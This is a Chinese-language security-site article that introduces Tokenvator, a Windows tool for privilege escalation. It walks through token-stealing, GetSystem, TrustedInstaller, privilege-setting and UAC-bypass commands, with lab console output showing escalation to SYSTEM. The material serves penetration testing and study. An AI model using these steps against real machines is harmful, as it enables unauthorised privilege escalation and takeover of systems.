tokens
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
如何使用Tokenvator和Windows Tokens实现提权 Alpha_h4ck2018-07-01共130300人围观 工具
今天给大家介绍的是一款名叫Tokenvator的工具,该工具采用.NET开发,可用于在Windows系统中提权。
如何使用Tokenvator和Windows Tokens实现提权
工具下载
下载地址:【GitHub传送门】
基本使用
Tokenvator可以直接在交互式终端中运行,具体的执行命令能够以命令行参数的形式提供。在交互模式下,可以用tab键补全命令,或双击tab键获取帮助信息。
C:\Users\badjuju>Tokenvator.exe
(Tokens)> help
Name Optional Required
---- -------- --------
GetSystem Command -
GetTrustedInstaller Command -
Steal_Token Command ProcessID
BypassUAC ProcessID Command
List_Privileges ProcessID -
Set_Privilege ProcessID Privilege
List_Processes - -
List_Processes_WMI - -
Find_User_Processes - User
Find_User_Processes_WMI - User
List_User_Sessions - -
WhoAmI - -
RevertToSelf - -
Run - Command
(Tokens)> WhoAmI
Name Optional Required
---- -------- --------
WhoAmI - -
(Tokens)> WhoAmI
[*]Operating as LAB\badjuju
下面大部分截图显示的是在交互模式下的命令运行情况:
如何使用Tokenvator和Windows Tokens实现提权
Steal_Token
从最基本的功能来说,Tokenvator可以用来访问并修改Windows认证令牌,为了获取到特定进程的令牌,我们需要结合目标进程的PID来运行Steal_Token命令。
(Tokens)> Steal_Token
Name Optional Required
---- -------- --------
Steal_Token Command ProcessID
(Tokens)> Steal_Token 7384
[*]Adjusting Token Privilege
[+]Received luid
[*]AdjustTokenPrivilege
[+]Adjusted Token to: SeDebugPrivilege
[*]Impersonating 7384
[+]Recieved Handle for: (7384)
[+]Process Handle: 824
[+]Primary Token Handle: 828
[+]Duplicate Token Handle: 824
(Tokens)> whoami
[*]Operating as lab\backup
或者我们也可以添加额外的命令选项来使用新的访问令牌。
(Tokens)> Steal_Token 7384 powershell.exe
[*]Adjusting Token Privilege
[+]Received luid
[*]AdjustTokenPrivilege
[+]Adjusted Token to: SeDebugPrivilege
[+]Recieved Handle for: (7384)
[+]Process Handle: 860
[+]Primary Token Handle: 864
[+]Duplicate Token Handle: 860
[*]CreateProcessWithTokenW
[+]Created process: 14524
[+]Created thread: 18784
WindowsPowerShell
Copyright(C) Microsoft Corporation. All rights reserved.
PSC:\WINDOWS\system32> whoami
lab\backup
PSC:\WINDOWS\system32> $pid
14524
GetSystem
一般来说,我们经常需要窃取的就是NT AUTHORITY\SYSTEM账号,而GetSystem命令可以帮助我们自动搜索并访问SYSTEM令牌。它的使用语句跟Steal_Token的类似:
(Tokens)> GetSystem
[*]Adjusting Token Privilege
[+]Received luid
[*]AdjustTokenPrivilege
[+]Adjusted Token to: SeDebugPrivilege
[*]Searching for NT AUTHORITY\SYSTEM
[*]Examining 344 processes
[*]Discovered 118 processes
[*]Impersonating 5488
[+]Recieved Handle for: (5488)
[+]Process Handle: 888
[*]Impersonating 4444
[+]Recieved Handle for: (4444)
[+]Process Handle: 868
[+]Primary Token Handle: 904
[+]Duplicate Token Handle: 868
(Tokens)> WhoAmI
[*]Operating as NT AUTHORITY\SYSTEM
(Tokens)> RevertToSelf
[*]Reverted token to lab\badjuju
如何使用Tokenvator和Windows Tokens实现提权
在某些情况下,如果没有提升到SYSTEM权限的话,我们可能无法直接访问到特定进程的令牌,比如说NT SERVICE账号(本地SQL服务进程)。
如何使用Tokenvator和Windows Tokens实现提权
GetTrustedInstaller
还有一种常见情况,就是SYSTEM32目录或部分注册表内容属于TRUSTEDINSTALLER组,为了修改这些位置的数据,我们要么拿到数据的拥有权,要么拿到TRUSTEDINSTALLER组成员的访问令牌。跟GetSystem类似,GetTrustedInstaller也是一个Steal_Token的封装其,它可以开启TrustedInstaller服务并获取到相应的令牌。
如何使用Tokenvator和Windows Tokens实现提权
List_Privileges和Set_Privilege
有的时候,我们的进程不一定拥有所要完成任务必备的权限。比如说,为了访问一个当前用户无法访问的进程,我们就需要SeDebugPrivilege 的帮助了。下面显示的是在一个高度完整的进程中对令牌的切分(UAC Elevated – TokenElevationTypeFull)。
如何使用Tokenvator和Windows Tokens实现提权
接下来,我们尝试以管理员身份来运行notepad.exe,并查看其访问令牌:
如何使用Tokenvator和Windows Tokens实现提权
测试完notepad.exe的令牌之后,我们可以尝试增加SeLoadDriverPrivilege来看看会发生什么。注意:权限名称是大小写敏感的。
如何使用Tokenvator和Windows Tokens实现提权
很明显,notepad.exe可以加载一个驱动器了,而且能做的还有更多,我们之后还会增加权限移除的功能,敬请期待。
UAC绕过
实现UAC绕过的方法有很多种,但最有趣的一种就是修改令牌了。FuzzySecurity在利用Windows令牌实现UAC绕过方面做过很多研究,感兴趣的同学可以查看其GitHub代码库【传送门】,Tokenvator也包含了FuzzySecurity所实现的技术。在下面的测试中,我们位提权的令牌可以用来访问当前用户拥有的特权进程,并生成特权Shell。
如何使用Tokenvator和Windows Tokens实现提权
这种方法以后很可能也不会被修复,因为这更像是一种功能。
查找用户进程
首先,我们需要查看系统注册的会话信息:
(Tokens)> List_User_Sessions
User SessionID
---- ---------
0
badjuju 1
backup 2
下面是List_Processes命令所实现的东西,即获取用户进程的概览:
(Tokens)> List_Processes
User ProcessID Process Name
---- ---------- ------------
lab\badjuju 4000
List_Processes利用的是主机的原生API,在列举进程和用户方面速度非常快。由于在某些情况下如果没有实现提权的话,某些功能还是无法正常运行的,因此List_Processes_WMI便应运而生。很明显,它的功能是通过WMI实现的,所以它的速度肯定没有List_Processes快,但是它可以在非提权场景下正常运行。
(Tokens)> List_Processes_WMI
[*]Examining 102 processes
User ProcessID Process Name
---- ---------- ------------
\ 0 Idle
LAB\BADJUJU 448 taskhost
LOCAL\0XBADJUJU 1568
我们还可以直接列举出特定用户场景下所有运行的进程信息:
(Tokens)> Find_User_Processes WINDOWS7ENTERPR\BADJUJU
[*]Examining 100 processes
[*]Discovered 29 processes
ProcessID Process Name
---------- ------------
3268 calc
3520 cmd
2604 cmd
4000 conhost
4664 conhost
920 conhost
1972 conhost
4928 conhost
2760 conhost
656 dwm
1776 explorer
5048 msvsmon
5352 msvsmon
3412 notepad
3552 powershell
3116 powershell_ise
2464 rdpclip
4820 rundotnetdll32
3944 taskhost
448 taskhost
3424 Tokenvator
4892 VCSExpress
跟List_Processes机制类似,它也能够在非特权场景下通过WMI完成相同的工作:
(Tokens)> Find_User_Processes_WMI LOCAL\0xBADJUJU
[*]Examining 102 processes
[*]Discovered 31 processes
ProcessID Process Name
---------- ------------
1568 cmd.exe
2108 conhost.exe
1936 procexp64.exe
3544 cmd.exe
3608 conhost.exe
3892 x64dbg.exe
总结
这款工具是我跟NetSPI团队共同开发的,希望能给大家提供帮助,如果大家在使用过程中发现了问题的话,可以在GitHub上留言。
* 参考来源:netspi,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
Alpha_h4ck
Alpha_h4ck
578 篇文章
等级: 10级
||
上一篇:Subfinder:一个子域名发现工具,可以为任何目标枚举海量的有效子域名下一篇:适用于渗透测试不同阶段的工具收集整理
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
Alpha_h4ck
Alpha_h4ck
好好学习,天天向上
578
文章数
5
评论数
最近文章
Slither:第一款针对Solidity的静态分析框架
2018.11.18
BYOB:我的天!又一个僵尸网络开源了BYOB僵尸网络开源代码
2018.11.18
BlobRunner:一款功能强大的恶意软件Shellcode调试与分析工具
2018.11.16
浏览更多
相关阅读
修复Firefox(火狐)浏览器常用安全测试插件Live HTTP Headers的replay功能恶意软件分析工具—Hook Analyser v2.3子域名爆破工具 – 啸天犬网络空间搜索引擎全方位评测HoneyProxy-中间人SSL代理及传输分析工具
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论